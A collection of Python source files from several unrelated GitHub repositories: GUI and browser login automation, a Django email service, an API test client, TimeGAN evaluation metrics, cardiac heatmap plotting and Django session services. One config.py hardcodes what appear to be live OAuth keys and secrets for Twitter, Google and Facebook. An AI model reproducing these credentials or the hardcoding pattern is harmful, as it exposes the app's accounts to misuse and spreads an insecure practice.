gw.getActiveWindow()\n if janela_ativa is not None and janela_ativa.title == janela:\n return True\n time.sleep(tempo)\n else:\n for tentativa in range(tentativas):\n janela_ativa = gw.getActiveWindow()\n if janela_ativa is not None and janela_ativa.title == janela:\n return True\n time.sleep(tempo)\n return False\n \n\n def esperar_imagem_sumir(self, imagem):\n while True:\n resultado_busca = self.BuscarImagem(imagem)\n\n if resultado_busca == False:\n time.sleep(1)\n return False\n else:\n return True\n \n \n def carregar_json(self):\n with open('src/empresas.json', encoding='utf-8') as file:\n empresas = json.load(file)\n return empresas\n \n \nclass DominioAutomator(SystemAutomator):\n def LogarDominio(self, email, senha):\n print(\"Logando no Domínio Web\")\n dominio_login = \"https://www.dominioweb.com.br/\"\n\n driver = webdriver.Chrome()\n driver.get(dominio_login)\n driver.maximize_window()\n\n campo_email = driver.find_element(By.XPATH, \"/html/body/app-root/app-login/div/div/fieldset/div/div/section/form/label[1]/span[2]/input\")\n campo_email.send_keys(email)\n campo_senha = driver.find_element(By.XPATH, \"/html/body/app-root/app-login/div/div/fieldset/div/div/section/form/label[2]/span[2]/input\")\n campo_senha.send_keys(senha)\n\n botao_entrar = driver.find_element(By.XPATH, \"/html/body/app-root/app-login/div/div/fieldset/div/div/section/form/div/button\")\n botao_entrar.click()\n time.sleep(5)\n\n pyautogui.press('tab', 2)\n pyautogui.press('enter')\n\n super().AguardarJanela(\"Lista de Programas\")\n\n\n def LogarModulo(self, usuario, senha, modulo):\n print(\"Logando no módulo: \" + modulo)\n super().CliqueImagem(\"dominio/\" + modulo, 2)\n super().AguardarImagem('dominio/conectando_modulo')\n pyautogui.write(usuario)\n pyautogui.press(\"tab\")\n pyautogui.write(senha)\n pyautogui.press(\"tab\", 2)\n pyautogui.press(\"enter\")\n super().AguardarImagem('dominio/aguardar_janela_inicio')","repo_name":"Joao-Marcelo-Melo/Automations","sub_path":"src/modules/DominioAutomator.py","file_name":"DominioAutomator.py","file_ext":"py","file_size_in_byte":5257,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"43"} +{"seq_id":"26335706195","text":"from django.contrib.auth import get_user_model\nfrom django.conf import settings\nfrom post_office import mail\n\nfrom shigoto_q.emails.constants import EmailTypes, EmailPriority\nfrom shigoto_q.emails.exceptions import UserEmailNotFound\n\n\nUser = get_user_model()\n\n\ndef send_email(\n template_name: EmailTypes,\n priority: EmailPriority = EmailPriority.HIGH,\n user_id: int = None,\n context: dict = None,\n override_email=None,\n):\n _default_context = {}\n to_email = _get_email(user_id, override_email)\n _update_default_context(_default_context, to_email)\n context = {**context, **_default_context}\n\n mail.send(\n [to_email],\n settings.DEFAULT_INFO_EMAIL,\n template=template_name.get_name(),\n context=context,\n priority=priority.value,\n )\n\n\ndef _get_email(user_id=None, override_email=None):\n if user_id:\n try:\n return User.objects.get(id=user_id).email\n except User.DoesNotExist:\n raise UserEmailNotFound(f\"User(id={user_id}) not found.\")\n if override_email:\n return override_email\n\n\ndef _update_default_context(context, to_email):\n context.update(\n dict(\n to_email=to_email,\n )\n )\n","repo_name":"Shigoto-Q/shigoto","sub_path":"shigoto_q/emails/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"43"} +{"seq_id":"40861684759","text":"SOCIAL_AUTH_TWITTER_KEY = 'Y4Z1rN777WGLcYr7br6E2DOxI'\nSOCIAL_AUTH_TWITTER_SECRET = '6UqoWpd05nTlwO87LNhng8BI1aD4wdVzuenx6wLx0uXBRYYCbH'\nSOCIAL_AUTH_LOGIN_REDIRECT_URL = '/home/'\nSOCIAL_AUTH_LOGIN_URL = '/'\nSOCIAL_AUTH_GOOGLE_OAUTH2_KEY = '514731672102-pmhep9ffgnhj23jq1gdmsoqmsiuittak.apps.googleusercontent.com'\nSOCIAL_AUTH_GOOGLE_OAUTH2_SECRET = 'wFyTe90QH-98NEHFX3UssH20'\nSOCIAL_AUTH_FACEBOOK_KEY = '478255099012602'\nSOCIAL_AUTH_FACEBOOK_SECRET = '3c8b65757009cb0bfb96a93cf4930411'\nSOCIAL_AUTH_FACEBOOK_SCOPE = ['email']\n\nSOCIAL_AUTH_FACEBOOK_PROFILE_EXTRA_PARAMS = {\n 'locale': 'ru_RU',\n 'fields': 'id, name, email, age_range'\n}","repo_name":"kousik93/recipiehub","sub_path":"myapp/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"43"} +{"seq_id":"20874304098","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom api.core.utils import request\nfrom api.core.utils.api_yaml import get_api, _CONFIG\nfrom api.core.utils import sign_utils\nimport urllib.parse\nimport json\nimport sys\n\nplat_config = _CONFIG['openplatform'][_CONFIG[\"env\"]]\n\n\nclass OpenPlatformOrganization:\n\n def post_open_creat_account(self, code, name, mobile, email, expire_dt, instance_id, **kwargs):\n \"\"\"\n 租户创建\n :param code: 组织编码，示例：sample str\n :param name: 公司名称，示例：sample str\n :param mobile: requirement 手机号 str\n :param email: 邮箱 str\n :param expire_dt: 过期时间，格式：2021/03/23 为空时默认在一年后\n :param instance_id: requirement 标识租户的唯⼀ID，第三方系统的租户标识\n :return:\n \"\"\"\n api = get_api(f'$..{sys._getframe().f_code.co_name}')\n params = {\n 'code': code,\n 'name': name,\n 'mobile': mobile,\n 'email': email,\n 'expire_dt': expire_dt,\n 'instance_id': instance_id,\n 'package': kwargs.get(\"package\", None)\n }\n payload = {}\n for k, v in params.items():\n if v is not None:\n payload[k] = v\n sign_params = {\n \"method\": \"POST\",\n \"url\": f\"{api.format(ID=plat_config['plat_code'])}\",\n \"body\": json.dumps(payload),\n \"key\": plat_config['platform_key']\n }\n sign = sign_utils.gen_sign(sign_params)\n headers = {\n \"platformcode\": plat_config['plat_code'],\n \"Platform-Sign\": sign\n }\n return request.post(api, payload=payload, ID=plat_config['plat_code'],\n aes_key=plat_config['platform_key'], env='openplatform', headers=headers)\n\n def put_open_company_info(self, mobile, email, expire_dt, instance_id, **kwargs):\n \"\"\"\n 租户信息变更\n :param mobile: requirement 手机号\n :param email:\n :param expire_dt:\n :param instance_id: requirement 标识租户的唯⼀ID，第三方系统的租户标识\n :return:\n \"\"\"\n api = get_api(f'$..{sys._getframe().f_code.co_name}')\n params = {\n 'mobile': mobile,\n 'email': email,\n 'expire_dt': expire_dt,\n 'instance_id': instance_id,\n 'package': kwargs.get(\"package\", None)\n }\n payload = {}\n for k, v in params.items():\n if v is not None:\n payload[k] = v\n sign_params = {\n \"method\": \"PUT\",\n \"url\": f\"{api.format(ID=plat_config['plat_code'])}\",\n \"body\": json.dumps(payload),\n \"key\": plat_config['platform_key']\n }\n sign = sign_utils.gen_sign(sign_params)\n headers = {\n \"platformcode\": plat_config['plat_code'],\n \"Platform-Sign\": sign\n }\n return request.put(api, payload=payload, ID=plat_config['plat_code'],\n aes_key=plat_config['platform_key'], env='openplatform', headers=headers)\n\n def get_open_company_info(self, instance_id):\n \"\"\"\n 租户创建信息重新获取\n :param instance_id: requirement 标识租户的唯⼀ID，第三方系统的租户标识\n :return:\n \"\"\"\n api = get_api(f'$..{sys._getframe().f_code.co_name}')\n params = {\n 'instance_id': instance_id\n }\n sign_params = {\n \"method\": \"GET\",\n \"url\": f\"{api.format(ID=plat_config['plat_code'])}?{urllib.parse.urlencode(params)}\",\n \"body\": '',\n \"key\": plat_config['platform_key']\n }\n print(sign_params)\n sign = sign_utils.gen_sign(sign_params)\n headers = {\n \"platformcode\": plat_config['plat_code'],\n \"Platform-Sign\": sign\n }\n return request.get(api, params=params, ID=plat_config['plat_code'],\n aes_key=plat_config['platform_key'], env='openplatform', headers=headers)\n\n def get_open_company_quota(self, **kwargs):\n \"\"\"\n 累计问卷 / 答卷数查询\n :param kwargs:\n :return:\n \"\"\"\n api = get_api(f'$..{sys._getframe().f_code.co_name}')\n params = {\n 'page': kwargs.get('page'),\n \"rowsPerPage\": kwargs.get('rowsPerPage'),\n \"project_gt\": kwargs.get('project_gt'),\n \"project_lte\": kwargs.get('project_lte'),\n \"respondent_gt\": kwargs.get('respondent_gt'),\n \"respondent_lte\": kwargs.get('respondent_lte'),\n \"org_id\": kwargs.get('org_id'),\n }\n real_params = {k: v for k, v in params.items() if v is not None}\n sign_params = {\n \"method\": \"GET\",\n \"url\": f\"{api.format(ID=plat_config['plat_code'])}?{urllib.parse.urlencode(real_params)}\",\n \"body\": \"{}\",\n \"key\": plat_config['platform_key']\n }\n headers = {\n \"platformcode\": plat_config['plat_code'],\n \"Platform-Sign\": sign_utils.gen_sign(sign_params)\n }\n return request.get(api, params=params, ID=plat_config['plat_code'],\n aes_key=plat_config['platform_key'], env='openplatform', headers=headers)\n\n\nif __name__ == '__main__':\n d = {\n \"instance_id\": \"httprunner22\"\n }\n s = OpenPlatformOrganization()\n t = s.get_open_company_info(instance_id=\"httprunner22\")\n # t = s.get_open_company_quota(**d)\n","repo_name":"testing-li/xm_test-api_test","sub_path":"api/core/open_platform/open_organization.py","file_name":"open_organization.py","file_ext":"py","file_size_in_byte":5576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"43"} +{"seq_id":"7677347110","text":"from tqdm import tqdm\nfrom modules.utils import *\nfrom metrics.predictive_metrics import predictive_score_metrics\nfrom metrics.discriminative_metrics import discriminative_score_metrics\n\n\ndef timegan_predictive(args, ori_data, art_data):\n pred_scores = list()\n for _ in tqdm(range(args.metric_iteration)):\n temp_pred = predictive_score_metrics(ori_data, art_data)\n pred_scores.append(temp_pred)\n pred_mean = np.mean(pred_scores)\n pred_std = np.std(pred_scores)\n return pred_mean, pred_std, pred_scores\n\n\ndef timegan_discriminative(args, ori_data, art_data):\n disc_scores = list()\n for _ in tqdm(range(args.metric_iteration)):\n temp_disc = discriminative_score_metrics(ori_data, art_data)\n disc_scores.append(temp_disc)\n disc_mean = np.mean(disc_scores)\n disc_std = np.std(disc_scores)\n return disc_mean, disc_std, disc_scores\n\n\ndef timegan_metrics(args, ori_data, art_data, metrics_dir):\n # Get the predictive score with repeat\n print('Start Calculate Predictive Score.')\n pred_mean, pred_std, pred_scores = timegan_predictive(args, ori_data, art_data)\n print(f'Mean Predictive Score {pred_mean} with std {pred_std}!')\n\n # original_metrics_dir = os.path.join(args.model_dir, 'metrics_results.npy')\n # metrics_results = load_dict_npy(original_metrics_dir)[()]\n metrics_results = dict()\n metrics_results['pred_mean'] = pred_mean\n metrics_results['pred_std'] = pred_std\n metrics_results['pred_scores'] = pred_scores\n np.save(metrics_dir, metrics_results)\n\n # Get the discriminative score with repeat\n print('Start Calculate Discriminative Score.')\n disc_mean, disc_std, disc_scores = timegan_discriminative(args, ori_data, art_data)\n print(f'Mean Discriminative Score {disc_mean} with std {disc_std}!')\n\n metrics_results = load_dict_npy(metrics_dir)[()]\n metrics_results['disc_mean'] = disc_mean\n metrics_results['disc_std'] = disc_std\n metrics_results['disc_scores'] = disc_scores\n np.save(metrics_dir, metrics_results)\n\n print('Evaluation by TimeGAN style Metrics Finished.')\n\n\ndef calculate_pred_disc(args):\n # For Random Once\n print('For Random Once.')\n ori_data = np.load(args.ori_data_dir)\n ori_data, min_ori, max_ori = min_max_scalar(ori_data)\n art_data = np.load(args.art_data_dir)\n art_data, min_art, max_art = min_max_scalar(art_data)\n print('Data Loading and Normalization Finished.')\n \n metrics_dir = os.path.join(args.model_dir, 'metrics_results.npy')\n timegan_metrics(args, ori_data, art_data, metrics_dir)\n \n # For Cross Average\n print('For Cross Average.')\n ori_data = np.load(args.ori_data_dir)\n ori_data, min_ori, max_ori = min_max_scalar(ori_data)\n\n cross_average_dir = os.path.join(args.synthesis_dir, 'cross_average')\n cross_average_data_dir = os.path.join(cross_average_dir, 'art_data.npy')\n cross_average_data = np.load(cross_average_data_dir)\n art_data, min_art, max_art = min_max_scalar(cross_average_data)\n \n metrics_dir = os.path.join(cross_average_dir, 'metrics_results.npy')\n timegan_metrics(args, ori_data, art_data, metrics_dir)\n\n # For Cross Concate\n print('For Cross Concate')\n ori_data = np.load(args.ori_data_dir)\n ori_data, min_ori, max_ori = min_max_scalar(ori_data)\n\n cross_concate_dir = os.path.join(args.synthesis_dir, 'cross_concate')\n cross_concate_data_dir = os.path.join(cross_concate_dir, 'art_data.npy')\n cross_concate_data = np.load(cross_concate_data_dir)\n art_data, min_art, max_art = min_max_scalar(cross_concate_data)\n \n metrics_dir = os.path.join(cross_concate_dir, 'metrics_results.npy')\n timegan_metrics(args, ori_data, art_data, metrics_dir)\n \n # For Random Average\n print('For Random Average')\n ori_data = np.load(args.ori_data_dir)\n # ori_data, min_ori, max_ori = min_max_scalar(ori_data)\n ori_data, min_ori, max_ori = min_max_scalar(ori_data)\n\n random_average_dir = os.path.join(args.synthesis_dir, 'random_average')\n random_average_data_dir = os.path.join(random_average_dir, 'art_data.npy')\n random_average_data = np.load(random_average_data_dir)\n art_data, min_art, max_art = min_max_scalar(random_average_data)\n \n metrics_dir = os.path.join(random_average_dir, 'metrics_results.npy')\n timegan_metrics(args, ori_data, art_data, metrics_dir)\n\n\nif __name__ == '__main__':\n home = os.getcwd()\n real_home = os.path.abspath(os.path.join(home, '..'))\n os.chdir(real_home)\n args = load_arguments(real_home)\n # For Original as the Synthetic\n print('For Original as the Synthetic.')\n ori_data = np.load(args.ori_data_dir)\n ori_data, min_ori, max_ori = min_max_scalar(ori_data)\n art_data = np.load(args.ori_data_dir)\n art_data, min_art, max_art = min_max_scalar(art_data)\n print('Data Loading and Normalization Finished.')\n\n metrics_dir = os.path.join(args.model_dir, 'ori_as_syn_metrics_results.npy')\n timegan_metrics(args, ori_data, art_data, metrics_dir)\n","repo_name":"Dolores2333/ExtraMAE","sub_path":"MAI/metrics/timegan_metrics.py","file_name":"timegan_metrics.py","file_ext":"py","file_size_in_byte":5005,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"43"} +{"seq_id":"69807792129","text":"# Author: Christopher S. Dunham\n# Date: 11/1/2020\n# Principal Investigator: James K. Gimzewski\n# Organization: University of California, Los Angeles\n# Department of Chemistry and Biochemistry\n# Original work by CSD\n\n# This function is called following the use of \"Calculate All\" from \n# the drop-down menu and from the GUI slider on the main window. It generates \n# the heat maps observed in the main window of the program.\n# Graphing functions to produce heatmaps for individual parameters are located \n# within their respective calculation modules.\nimport seaborn as sns\nfrom matplotlib import pyplot as plt\n\ndef graph_all(analysisGUI, heat_map, cm_beats, pace_maker, upstroke_vel, \nlocal_act_time, conduction_vel, input_param):\n try:\n # --------------------------- Pacemaker --------------------------------\n if hasattr(heat_map, 'cbar_1') is True:\n heat_map.cbar_1.remove()\n delattr(heat_map, 'cbar_1')\n\n analysisGUI.mainHeatmap.axis1.cla()\n input_param.beat_choice = analysisGUI.mainSlider.value()\n\n electrode_names = pace_maker.param_dist_normalized.pivot(index='Y', \n columns='X', values='Electrode')\n heatmap_pivot_table = pace_maker.param_dist_normalized.pivot(index='Y', \n columns='X', values=pace_maker.final_dist_beat_count[\n input_param.beat_choice])\n\n temp = sns.heatmap(heatmap_pivot_table, cmap=\"jet\", \n annot=electrode_names, fmt=\"\", ax=analysisGUI.mainHeatmap.axis1,\n vmin=0, vmax=pace_maker.param_dist_normalized_max, cbar=False)\n mappable = temp.get_children()[0]\n heat_map.cbar_1 = analysisGUI.mainHeatmap.axis1.figure.colorbar(mappable, \n ax=analysisGUI.mainHeatmap.axis1)\n heat_map.cbar_1.ax.set_title(\"Time Lag (ms)\", fontsize=10)\n\n analysisGUI.mainHeatmap.axis1.set(title=\"Pacemaker\", \n xlabel=\"\",\n xticks=[],\n ylabel=\"Y coordinate (μm)\")\n analysisGUI.mainHeatmap.axis1.tick_params(axis='x', rotation=45)\n\n analysisGUI.mainHeatmap.axis1.get_shared_y_axes().join(\n analysisGUI.mainHeatmap.axis2)\n\n # ------------------------- Upstroke velocity --------------------------\n if hasattr(heat_map, 'cbar_2') is True:\n heat_map.cbar_2.remove()\n delattr(heat_map, 'cbar_2')\n analysisGUI.mainHeatmap.axis2.cla()\n\n electrode_names_2 = upstroke_vel.param_dist_normalized.pivot(index='Y', \n columns='X', values='Electrode')\n heatmap_pivot_table_2 = upstroke_vel.param_dist_normalized.pivot(index='Y', \n columns='X', values=upstroke_vel.final_dist_beat_count[\n input_param.beat_choice])\n\n temp_2 = sns.heatmap(heatmap_pivot_table_2, cmap=\"jet\", \n annot=electrode_names_2, fmt=\"\", ax=analysisGUI.mainHeatmap.axis2,\n vmax=upstroke_vel.param_dist_normalized_max, cbar=False)\n mappable_2 = temp_2.get_children()[0]\n heat_map.cbar_2 = analysisGUI.mainHeatmap.axis3.figure.colorbar(mappable_2, \n ax=analysisGUI.mainHeatmap.axis2)\n heat_map.cbar_2.ax.set_title(\"μV/(ms)\", fontsize=10)\n\n analysisGUI.mainHeatmap.axis2.set(title=\"Upstroke Velocity\", \n xlabel=\"\",\n xticks=[],\n ylabel=\"\",\n yticks=[])\n analysisGUI.mainHeatmap.axis2.tick_params(axis='x', rotation=45)\n\n # ----------------------- Local activation time ------------------------\n if hasattr(heat_map, 'cbar_3') is True:\n heat_map.cbar_3.remove()\n delattr(heat_map, 'cbar_3')\n analysisGUI.mainHeatmap.axis3.cla()\n\n electrode_names_3 = local_act_time.param_dist_normalized.pivot(index='Y', \n columns='X', values='Electrode')\n heatmap_pivot_table_3 = local_act_time.param_dist_normalized.pivot(index='Y', \n columns='X', values=local_act_time.final_dist_beat_count[\n input_param.beat_choice])\n\n temp_3 = sns.heatmap(heatmap_pivot_table_3, cmap=\"jet\", \n annot=electrode_names_3, fmt=\"\", ax=analysisGUI.mainHeatmap.axis3,\n vmax=local_act_time.param_dist_normalized_max, cbar=False)\n mappable_3 = temp_3.get_children()[0]\n heat_map.cbar_3 = analysisGUI.mainHeatmap.axis3.figure.colorbar(mappable_3, \n ax=analysisGUI.mainHeatmap.axis3)\n heat_map.cbar_3.ax.set_title(\"Time Lag (ms)\", fontsize=10)\n\n analysisGUI.mainHeatmap.axis3.set(title=\"Local Activation Time\", \n xlabel=\"X coordinate (μm)\", \n ylabel=\"Y coordinate (μm)\")\n analysisGUI.mainHeatmap.axis3.tick_params(axis='x', rotation=45)\n\n analysisGUI.mainHeatmap.axis3.get_shared_x_axes().join(\n analysisGUI.mainHeatmap.axis1)\n analysisGUI.mainHeatmap.axis3.get_shared_y_axes().join(\n analysisGUI.mainHeatmap.axis4)\n\n\n # ------------------------ Conduction velocity -------------------------\n if hasattr(heat_map, 'cbar_4') is True:\n heat_map.cbar_4.remove()\n delattr(heat_map, 'cbar_4')\n analysisGUI.mainHeatmap.axis4.cla()\n\n electrode_names_4 = conduction_vel.param_dist_raw.pivot(index='Y', \n columns='X', values='Electrode')\n heatmap_pivot_table_4 = conduction_vel.param_dist_raw.pivot(index='Y', \n columns='X', values=local_act_time.final_dist_beat_count[\n input_param.beat_choice])\n\n temp_4 = sns.heatmap(heatmap_pivot_table_4, cmap=\"jet\", \n annot=electrode_names_4, fmt=\"\", ax=analysisGUI.mainHeatmap.axis4, \n cbar=False)\n mappable_4 = temp_4.get_children()[0]\n heat_map.cbar_4 = analysisGUI.mainHeatmap.axis4.figure.colorbar(mappable_4, \n ax=analysisGUI.mainHeatmap.axis4)\n heat_map.cbar_4.ax.set_title(\"μm/(ms)\", fontsize=10)\n\n analysisGUI.mainHeatmap.axis4.set(title=\"Conduction Velocity\" , \n xlabel=\"X coordinate (μm)\", \n ylabel=\"\",\n yticks=[])\n analysisGUI.mainHeatmap.axis4.tick_params(axis='x', rotation=45)\n\n analysisGUI.mainHeatmap.axis4.get_shared_x_axes().join(\n analysisGUI.mainHeatmap.axis2)\n \n analysisGUI.mainHeatmap.fig.tight_layout()\n analysisGUI.mainHeatmap.fig.subplots_adjust(top=0.9)\n analysisGUI.mainHeatmap.fig.suptitle(\"Property Heatmaps. Beat \" + \n str(input_param.beat_choice + 1) + \" of \" + \n str(int(cm_beats.beat_count_dist_mode[0])) + \".\")\n analysisGUI.mainHeatmap.draw()\n except KeyError:\n print(\"Could not plot. Please verify that beat mode value is non-zero.\")\n except AttributeError:\n print(\"\")\n except IndexError:\n print(\"\")\n","repo_name":"csdunhamUC/cardio_pymea","sub_path":"main_heatmap.py","file_name":"main_heatmap.py","file_ext":"py","file_size_in_byte":6743,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"43"} +{"seq_id":"72430920769","text":"import logging\nimport uuid\nfrom copy import deepcopy\nfrom datetime import datetime, timedelta\n\nfrom django.db import transaction\n\nfrom core.apps.activities.services import ReevaluationService\nfrom core.apps.activities.utils import dakghor_get_athlete_activity\nfrom core.apps.common.common_functions import (\n get_actual_day_yesterday,\n get_date_from_datetime,\n)\nfrom core.apps.common.enums.date_time_format_enum import DateTimeFormatEnum\nfrom core.apps.common.enums.third_party_sources_enum import ThirdPartySources\nfrom core.apps.common.tp_common_utils import get_third_party_instance\nfrom core.apps.common.utils import (\n create_new_model_instance,\n get_max_heart_rate_from_age,\n log_extra_fields,\n update_is_active_value,\n)\nfrom core.apps.daily.models import UserDay\nfrom core.apps.evaluation.daily_evaluation.utils import set_actual_day_data\nfrom core.apps.evaluation.session_evaluation.utils import (\n get_actual_session,\n set_session_scores,\n)\nfrom core.apps.garmin.models import CurveCalculationData\nfrom core.apps.plan.enums.session_status_enum import (\n SessionLabelTypeEnum,\n SessionStatusEnum,\n)\nfrom core.apps.user_auth.models import UserAuthModel\nfrom core.apps.user_profile.utils import (\n get_user_fthr,\n get_user_ftp,\n get_user_max_heart_rate,\n)\n\nfrom ..common.services import RoundServices\nfrom ..user_profile.services import ZoneDifficultyLevelService\nfrom .enums.session_pairing_message_enum import SessionPairingMessage\nfrom .models import ActualSession, PlannedSession, UserAway, UserAwayInterval\nfrom .sets_and_reps_dictionary import sets_and_reps_dict\nfrom .tasks import populate_compressed_power_hr_data\nfrom .utils import (\n get_actual_session_interval_data,\n get_planned_session_interval_data,\n get_session_metadata,\n get_session_name,\n populate_planned_time_in_hr_zone,\n set_actual_session,\n set_garmin_data,\n set_planned_session,\n update_achievement_data,\n)\n\nlogger = logging.getLogger(__name__)\n\n\nclass SessionService:\n @classmethod\n def delete_session(cls, current_session, user):\n \"\"\"Deletes the actual session with actual id of user and re-evaluates day data fom that day until today\"\"\"\n from core.apps.activities.services import ReevaluationService\n\n update_achievement_data(user, current_session)\n\n session_date = current_session.session_date_time.date()\n # Updating is_active to false for all third_party activities with current session's session date time,\n # as they are the same session uploaded from different third parties\n actual_sessions = ActualSession.objects.filter(\n session_date_time=current_session.session_date_time,\n is_active=True,\n session_code__isnull=True,\n )\n update_is_active_value(actual_sessions, False, \"Delete session\")\n\n athlete_activity_codes = [\n actual_session.athlete_activity_code for actual_session in actual_sessions\n ]\n curve_data = CurveCalculationData.objects.filter(\n athlete_activity_code__in=athlete_activity_codes,\n user_auth=user,\n is_active=True,\n )\n update_is_active_value(curve_data, False)\n\n if session_date != user.user_local_date:\n user_plan = current_session.user_plan\n if user_plan:\n with transaction.atomic():\n ReevaluationService.reevaluate_session_data_of_single_plan(\n user, user_plan, session_date\n )\n\n @classmethod\n def edit_session(\n cls,\n actual_id,\n user,\n activity_name,\n activity_label,\n description,\n effort_level,\n planned_id,\n ):\n actual_session = get_actual_session(user, actual_id)\n actual_session = create_new_model_instance(actual_session)\n user_event = cls.check_event_day(actual_session)\n if user_event:\n user_event.name = activity_name[:55]\n user_event.save(update_fields=[\"name\", \"updated_at\"])\n logger.info(\n f\"Edit goal name from {user_event.name} to {activity_name}. \"\n f\"User id: {user.id}\"\n )\n else:\n actual_session.activity_name = activity_name\n if activity_label:\n actual_session.session_label = activity_label\n actual_session.description = description\n actual_session.effort_level = effort_level\n actual_session.reason = \"Edit session\"\n actual_session.save()\n logger.info(f\"Actual session {actual_id} is edited. User id: {user.id}\")\n session_metadata = get_session_metadata(\n actual_session=actual_session, planned_id=planned_id\n )\n\n return session_metadata\n\n @staticmethod\n def check_event_day(actual_session):\n if not (actual_session and actual_session.session_code):\n return None\n\n user_event = actual_session.user_plan.user_event\n event_start_date = user_event.start_date\n event_end_date = user_event.end_date\n session_date = actual_session.session_date_time.date()\n\n if event_start_date <= session_date <= event_end_date:\n return user_event\n\n\nclass PopulateService:\n @staticmethod\n def get_activity_type(user_auth, actual_session):\n if actual_session[\"strava_data__activity_type\"]:\n return actual_session[\"strava_data__activity_type\"]\n if actual_session[\"garmin_data__activity_type\"]:\n return actual_session[\"garmin_data__activity_type\"]\n if actual_session[\"pillar_data__activity_type\"]:\n return actual_session[\"pillar_data__activity_type\"]\n if actual_session[\"third_party__id\"] is None:\n return \"recovery\"\n logger.error(\n \"Failed to find activity type\",\n extra=log_extra_fields(user_auth_id=user_auth.id),\n )\n return None\n\n @classmethod\n def session_planned_time_in_hr_zone_services(cls, user):\n sessions = user.planned_sessions.filter(is_active=True)\n for session in sessions:\n if session.name == \"Unplanned\":\n continue\n logger.info(f\"Populating planned_time_in_hr_zone in session: {session.id}\")\n populate_planned_time_in_hr_zone(session)\n logger.info(\n f\"Completed populating planned_time_in_hr_zone in session: {session.id}\"\n )\n\n @classmethod\n def set_activity_type_in_actual_session(cls, user_auth):\n value_fields = [\n \"id\",\n \"strava_data__activity_type\",\n \"garmin_data__activity_type\",\n \"pillar_data__activity_type\",\n \"athlete_activity_code\",\n \"third_party__id\",\n ]\n actual_sessions = ActualSession.objects.filter(\n user_auth=user_auth, activity_type__isnull=True\n ).values(*value_fields)\n for actual_session in actual_sessions:\n actual_session_obj = ActualSession.objects.filter(\n id=actual_session[\"id\"]\n ).first()\n actual_session_obj.activity_type = cls.get_activity_type(\n user_auth, actual_session\n )\n actual_session_obj.save(update_fields=[\"activity_type\"])\n\n @classmethod\n def set_actual_intervals(cls, user_auth):\n actual_sessions = ActualSession.objects.filter(\n user_auth=user_auth,\n athlete_activity_code__isnull=False,\n session_code__isnull=False,\n actual_intervals__isnull=True,\n )\n for actual_session in actual_sessions:\n actual_session = SessionIntervalService(\n user_auth, actual_session\n ).set_actual_intervals()\n if actual_session.actual_intervals:\n actual_session.save(update_fields=[\"actual_intervals\"])\n\n @classmethod\n def set_compressed_power_hr_data(cls, user_auth):\n actual_sessions = (\n ActualSession.objects.filter(\n user_auth=user_auth, athlete_activity_code__isnull=False\n )\n .distinct(\"athlete_activity_code\")\n .values(\"session_date_time\", \"athlete_activity_code\")\n )\n for actual_session in actual_sessions:\n athlete_activity_code = str(actual_session[\"athlete_activity_code\"])\n session_date_time = actual_session[\"session_date_time\"].strftime(\n DateTimeFormatEnum.app_date_time_format.value\n )\n populate_compressed_power_hr_data.delay(\n user_auth.id, athlete_activity_code, session_date_time\n )\n\n\nclass MigrationService:\n @classmethod\n def migrate_day_and_session_data(cls, user):\n error = False\n try:\n user_days = UserDay.objects.filter(user_auth=user).order_by(\"activity_date\")\n prev_date, day_code, prev_week_start_date, week_code = (\n None,\n None,\n None,\n None,\n )\n\n for user_day in user_days:\n\n user_week = user_day.user_week\n if user_week.start_date != prev_week_start_date:\n week_code = uuid.uuid4()\n user_week.week_code = week_code\n user_day.week_code = week_code\n user_week.save()\n prev_week_start_date = user_week.start_date\n\n logger.info(f\"starts migrating user day id {user_day.id}\")\n if user_day.activity_date != prev_date:\n day_code = uuid.uuid4()\n prev_date = user_day.activity_date\n\n cls.migrate_session_data_and_set_day_code(\n user_day=user_day, day_code=day_code\n )\n user_day.day_code = day_code\n logger.info(\"User day bulk update started\")\n UserDay.objects.bulk_update(user_days, [\"day_code\", \"week_code\"])\n logger.info(\"User day bulk update Finished Succesfully\")\n except Exception as e:\n logger.exception(str(e))\n error = True\n\n return error\n\n @classmethod\n def migrate_session_data_and_set_day_code(cls, user_day, day_code):\n user_sessions = user_day.user_sessions.all()\n for user_session in user_sessions:\n session_code = None\n logger.info(f\"starts migrating user session {user_session.id}\")\n if user_session.session:\n logger.info(\n f\"starts migrating planned data from user session {user_session.id}\"\n )\n session_code = set_planned_session(\n user_session=user_session, day_code=day_code\n )\n if user_session.garmin_data:\n logger.info(\n f\"starts migrating garmin data from user session {user_session.id}\"\n )\n set_garmin_data(user_session=user_session)\n logger.info(\n f\"starts migrating actual session data from user session {user_session.id}\"\n )\n set_actual_session(\n user_session=user_session,\n day_code=day_code,\n session_code=session_code,\n )\n elif user_session.zone_focus == 0 and user_session.overall_score:\n logger.info(\n f\"starts migrating actual session data from user recovery session {user_session.id}\"\n )\n set_actual_session(\n user_session=user_session,\n day_code=day_code,\n session_code=session_code,\n )\n\n @classmethod\n def populate_actual_session_third_party_field(cls, user_auth):\n actual_sessions = ActualSession.objects.filter(user_auth=user_auth)\n for actual_session in actual_sessions:\n if actual_session.garmin_data:\n actual_session.third_party = get_third_party_instance(\n ThirdPartySources.GARMIN.value[0]\n )\n elif actual_session.strava_data:\n actual_session.third_party = get_third_party_instance(\n ThirdPartySources.STRAVA.value[0]\n )\n\n actual_session.save(update_fields=[\"third_party\"])\n\n\nclass UserAwayService:\n def __init__(self, user, start_date, end_date):\n self.user = user\n self.start_date = get_date_from_datetime(\n datetime.strptime(start_date.split()[0], \"%Y-%m-%d\")\n )\n self.end_date = get_date_from_datetime(\n datetime.strptime(end_date.split()[0], \"%Y-%m-%d\")\n )\n\n def set_user_away(self, reason):\n user_away_list = []\n away_start_date = self.start_date\n self.handle_overlapping_intervals()\n away_interval = UserAwayInterval.objects.create(\n reason=reason,\n interval_code=uuid.uuid4(),\n start_date=self.start_date,\n end_date=self.end_date,\n )\n while away_start_date <= self.end_date:\n user_away = UserAway(\n user_auth=self.user,\n user_id=self.user.code,\n 